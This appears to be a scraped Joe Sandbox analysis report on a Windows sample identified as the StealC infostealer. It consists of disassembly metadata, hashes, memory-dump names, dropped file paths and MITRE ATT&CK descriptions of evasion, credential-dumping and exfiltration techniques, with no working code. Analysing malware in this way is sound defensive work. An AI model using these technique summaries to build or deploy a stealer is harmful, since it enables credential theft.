Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatstrtok_swsprintf$FileFindFirstInitializeMatchPathSpecUninitializelstrlen
String ID:
API String ID: 2262385064-0
Opcode ID: 7017a70a301524b7fe56c924ac18e0f0f2d4b5c9ef50df8694ff76b04353a9e8
Instruction ID: 7eb58586ac1b27034834ba95229d1045cd13485eb60156799178fe914dfea916
Opcode Fuzzy Hash: 7017a70a301524b7fe56c924ac18e0f0f2d4b5c9ef50df8694ff76b04353a9e8
Instruction Fuzzy Hash: 37215E71710108ABCB20EF69ED86EDE77A8EF48304F50502ABD05A72D1DE78ED458B99

Function 00424250 Relevance: 3.0, APIs: 2, Instructions: 39stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,00000000), ref: 0042427D
lstrcpy.KERNEL32(00000000,?), ref: 004242B2

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: ca8ed280f5f3cf573d81b17a1a734adcfbd12809b179ef0d3c21c4a5f8e2e03c
Instruction ID: 22d33d9e0171530f359fecc65bb36aa4d33e50869ca7514a38a31d1f059dbf44
Opcode Fuzzy Hash: ca8ed280f5f3cf573d81b17a1a734adcfbd12809b179ef0d3c21c4a5f8e2e03c
Instruction Fuzzy Hash: 35F02870A10298ABE711DBB5EC5976E77FCDB84300F1015E9A549D32C0EA709F028F50

Function 00407450 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8f9d84ea6abed9c75fb6a8fc06eba5b507f8ff4c924b92f6d2bbf13ab30231
Instruction ID: ce404a04cc562515f5586855b9226e9276199a5b8ea77466ce64febfd0233d63
Opcode Fuzzy Hash: ca8f9d84ea6abed9c75fb6a8fc06eba5b507f8ff4c924b92f6d2bbf13ab30231
Instruction Fuzzy Hash: 9A313370E042159BDB14DF5ADD40BAEB7F5AF84354F10817BD804E7791E738E901CA9A

Function 00424210 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040E336), ref: 00424218

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f97725abee0d75023610a133f18b35010569d6522d6c77a38291b69d509e8b27
Instruction ID: a7acc1954b4fe25856781a37229119ccf513f161784abcca130b54d2d748de2e
Opcode Fuzzy Hash: f97725abee0d75023610a133f18b35010569d6522d6c77a38291b69d509e8b27
Instruction Fuzzy Hash: 73E04F31700138978B106AEDB40849ABB58CB057B5B400162F90CD7281C664DC4147E5

Function 00408C00 Relevance: 1.3, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00000000,00000000,?,00000000,?,?,00000000), ref: 00408CBD

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 4c9fd850469668223e100668a7c07c17612f891dd94f4dedf454bcc188cbc86d
Instruction ID: 03eadb7ef2226eb87d701addb5c2bff6fdf4147e95a588b0086bcb5ed6340967
Opcode Fuzzy Hash: 4c9fd850469668223e100668a7c07c17612f891dd94f4dedf454bcc188cbc86d
Instruction Fuzzy Hash: D031C171A056149BDB18CF18CA8066ABBB5FF85320F10467EEC62AB3D5CB349D01CBE5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IeccNv7PP6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAKFBKEHDBGHJJKFIEGDBKKFID

C:\ProgramData\BFBGHDGCFHIDBGDGIIIE

C:\ProgramData\CBGCGDBK

C:\ProgramData\DVWHKMNFNN.docx

C:\ProgramData\EGHCBKKKFHCGCBFIJEHD

C:\ProgramData\HIIIECAA

C:\ProgramData\IJEGHJECFCFCBFIDBGCG

C:\ProgramData\KEGDBFIJKEBGIDGDHCGCAFHJKK

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_795F.tmp.exe_4c36602123b780a5103e2c77d8eee33836dd2d2b_fe89adb8_9645d9f8-bb8d-41c5-92e4-e861ebd515e8\Report.wer

Windows Analysis Report
IeccNv7PP6.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre